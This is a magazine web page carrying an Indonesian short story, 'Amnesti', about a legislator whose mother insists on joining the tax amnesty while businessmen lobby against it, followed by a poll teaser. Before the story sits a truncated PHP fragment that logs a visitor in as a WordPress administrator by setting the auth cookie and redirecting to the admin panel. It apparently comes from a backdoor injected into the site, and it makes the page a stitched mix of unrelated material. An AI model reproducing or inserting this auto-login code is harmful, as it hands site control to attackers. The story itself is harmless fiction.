user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fiction
Cerpen: Amnesti

27 May 2017


 
Ibu ingin ikut amnesti pajak. Status sebagai istri pensiunan tentara tak membuatnya gentar. Hartanya pun tak seberapa, hanya rumah seratus meter persegi di kampung dan beberapa ekor sapi. Aku heran, dari mana Ibu mendapat berita tentang hal itu, karena beliau jarang menonton televisi. Hidup di desa menyebabkannya lebih banyak di ladang daripada di dalam rumah. Memeras susu sapi daripada menonton sinetron berseri.

"Ibu enggak perlulah ikut-ikut amnesti," kataku spontan, saat Ibu menelepon di siang hari yang cerah. Panasnya hari itu sungguh luar biasa, membuat badan dan hatiku 'berkeringat' pula saat mendengar keinginan Ibu.
"Memangnya kenapa?"
"Ya,  Bapak  kan sudah pensiun statusnya. Pensiunan gaji empat juta rupiah ke bawah bukan wajib pajak. Ditambah, Ibu adalah istri yang nomor pokok wajib pajaknya ikut suami. "
"Terserah gimana caranya, pokoknya Ibu ikut."

Sumpah, aku bingung melihat sikap Ibu. Mengadu pada Ayah pun percuma. Ayah selalu mengamini  tiap keputusan Ibu, walau kontroversial. Contoh terakhir saat keluarga besar kami piknik ke Madura dua bulan yang lalu. Ibu ingin membeli sepasang sapi Madura juara karapan sapi lantaran tidak tega si sapi diikutkan pacuan dengan kereng.

"Daripada sapi itu tersiksa karena pantatnya dicambuk dengan paku, atau panas karena dibalsem, lebih baik dia ikut kita, Pak. Aku masih bisa menyewakannya ke petani yang punya sawah."
Waktu itu aku ingat betul, Ayah langsung membuka dompet dan menyerahkan sejumlah uang kepada Ibu. Dua ekor sapi berwarna cokelat mulus berpindah tangan, dan saat aku mengelus badannya, tanganku berlumur darah. Pantat sapi itu hampir koyak.

" Ya, sudah, Bu. Aku catat dulu harta Ayah dan Ibu."

Hal ini kembali membuatku tak tega. Tepat seperti dugaanku, harta mereka hanya rumah dan empat ekor sapi ditambah perabot rumah dan televisi konde 14 inci. Orang tuaku tak pernah menerima atau meminta dana dari anak-anaknya. Akibatnya seperti ini. Harta yang dideklarasikan tak lebih dari seratus lima puluh juta, berarti uang tebusan untuk periode awal dua persen adalah tiga juta rupiah. Perjalanan ke kantor pajak di kota saja sudah menghabiskan separuh dana. Apa tidak rugi? Atau lebih tepatnya, tidak sayang?

"Di mana semangatmu membangun negara, Upik? Walaupun sedikit, kas negara terisi. Tidak percuma kakekmu dulu berjuang merebut negeri dari penjajah."
Aku diam saja. Semoga arwah kakek tenang di sisi-Nya. Bukan tak setuju, tetapi aku terpaksa menjalani standar ganda. Sikap Ayah dan Ibu berbeda jauh dari suamiku. Dia bersikap tak peduli terhadap program ini. Kalau bisa, tak perlu lapor harta sama sekali. Terhadap suamiku, aku bersikap sebaliknya dari sikap kepada orang tuaku. Terhadapnya, aku mendukung amnesti.
"Memangnya kenapa harus ikut amnesti? Gaji kita sudah dipungut pajak, kan  kita beli harta dari gaji itu."
"Kamu yakin?"
Suamiku terdiam, lalu berkata lirih, "Ya, beberapa, sih, pemberian orang yang kita tidak terlalu kenal."
"Nah, ini kan waktu yang tepat untuk membersihkan harta kita. Aku tidak mau anak-anak kita makan uang haram.”
 
“Kamu pikir amnesti itu tempat pencucian uang?”

Aku tertawa. Tampaknya aku berhasil menarik perhatian suamiku dengan membuatnya gusar.
“Hartamu itu bermiliar-miliar, Mas. Sumbangkanlah sedikit untuk membangun negara,” aku mengutip wejangan ayahku. “Bolehlah aku mengalah tak kamu belikan kalung emas, tapi terhadap negara tempatmu mencari nafkah, seharusnya kamu lebih royal.”

Surat kabar pagi ini menayangkan tajuk berita yang kontroversial. Organisasi Masyarakat Menggugat Amnesti Pajak. Di surat kabar lain, Buruh Tak Terima Pengemplang Pajak Diampuni. Media sosialku penuh pembahasan tentang amnesti. Twitter:@Upik, pembetulan SPT atau TA? Instagram: Bagikan tagar #tolakbayarpajak. Facebook: Please like bila Anda setuju masa TA diperpanjang.

Suara siulan terdengar, pertanda pesan WhatsApp masuk. Dari Pak Bustami, pengusaha kelapa sawit di Medan. Kami sering bekerja sama untuk beberapa proyek pemerintah.
Pagi, Bu Upik. Anda sudah ngantor?  
Selamat pagi, Pak Bustami. Lagi siap-siap.
Kalau bisa saya titip, ya, Bu. Kan ada pembahasan hari ini?
Saya tidak bisa janji, Pak. Harus ada diskusi dulu dengan kolega lainnya.
Mohon diusahakan, Bu. Terlalu banyak yang harus diungkap dan banyak pula orang yang terlibat.

Aku berdecak tak sabar. Ada nada ancaman di kalimat yang tertulis. Tapi sebelum kubalas, ada lagi pesan yang masuk. Dari Pak Rahmat, empunya pabrik tekstil di Bandung. Tanpa sapaan basa-basi,  Pak Rahmat langsung menanyakan sesuatu.
Advertisement

Bu Upik, hari ini pegawai saya mau demo protes TA di MK. Bisa dibantu untuk didukung?
Aku hanya bisa mengeluh dalam hati. Mereka pikir, aku pembantu yang bisa disuruh-suruh seenaknya? Tapi, pesan yang kuketik berbeda dengan pikiranku.
Siap, Gan.
Harap menjawab dengan jelas. Gan itu ganteng?

Muncul gambar wajah berwarna kuning tersenyum dan mengedipkan mata. Perutku mulai mual. Wanita macam apa aku? Melakukan sesuatu yang memuakkan karena diperintah orang, sekaligus menyediakan diri untuk digoda. Seharusnya statusku lebih tinggi daripada mereka, hanya saja aku bisa di sini karena didanai oleh mereka. Aku pun tahu diri. Politik balas budi.

Telepon masuk. Suara ibuku di seberang sana.
Gimana, Pik. Sudah kau siapkan semua dokumen yang diperlukan?”
“Sudah, Bu. Nanti biar uang tebusan, Upik yang bayar.”
Enggak usah, Pik. Ibu baru dapat uang dari jual sapi. Lumayan, sebagian buat bayar amnesti, sebagian lagi buat modal tanam jagung. Sudah mulai musimnya.”

Suara Ibu terdengar ceria bila membicarakan ladangnya. Tak seberapa luas, tetapi cukup ditanami jagung, pisang, ubi jalar, dan cabai. Bisa menjadi sumber pangan, walau bukan yang utama. Uang pensiun Ayah yang berpangkat sersan mayor sebenarnya cukup untuk membiayai kehidupan mereka berdua. Tapi, Ibu bukan seorang yang suka berpangku tangan. Sejak dahulu mengikuti Ayah berpindah-pindah tugas, beliau selalu sibuk. Kesukaannya memasak selalu bermanfaat untuk lebih dekat dengan lingkungan baru. Jiwa sosial dan patriotiknya sangat tinggi, bukan karena dia anak dan istri tentara, tetapi karena dia memang mencintai negeri ini. Tempatnya dilahirkan, dan kelak dikuburkan saat mati.

“Bila kamu memelihara negeri ini, Pik, negeri ini akan memeliharamu jauh lebih baik.”
Kalimat Ibu membuatku tersadar. Bergegas aku mencoret agenda kerja di sabak elektronikku:

Pukul 09.00
Agenda: Pertemuan dengan Menteri Keuangan
Perihal: Pencabutan program amnesti pajak  Dukungan terhadap program   amnesti pajak
Alasan: Tidak sesuai dengan kondisi rakyat dan perekonomian yang sedang melemah  Membantu pemerintah mengatasi defisit anggaran negara.
Catatan:
1. Titipan Bustami, pengusaha kelapa sawit, dan Rahmat,  pengusaha tekstil.
2. Rumah untuk warisan anak-anakku.
1. Mendukung warga negara yang ingin ikut berpartisipasi dalam pembangunan  (Ibuku termasuk salah satunya).
2. Membersihkan harta dan warisan untuk anak-anakku.
 
Coretan itu membuat hatiku lega. Kumasuki ruang sidang paripurna dengan melenggang. Aku merasa, titipan ibuku jauh lebih berharga daripada titipan siapa pun. Termasuk harga diriku sebagai wakil rakyat lebih berharga daripada politik balas budi kepada siapa pun. (f)

***

Nini Avieni
 
Unggulan Sayembara Cerpen Femina 2016


Cek koleksi fiksi femina lainnya di:
http://www.femina.co.id/fiction/
 



Topic

#FiksiFemina

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?